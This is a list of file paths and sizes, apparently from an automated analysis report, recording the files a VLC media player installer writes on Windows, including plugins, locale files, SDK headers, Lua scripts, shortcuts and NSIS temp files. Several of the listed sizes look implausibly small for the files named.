%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (68799 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ku\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (27504 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\ioSpecial.ini (12149 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (372030 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\LangDLL.dll (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFC88.tmp (2019660 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (41699 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (2968 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (16944 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (65945 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\InstallOptions.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
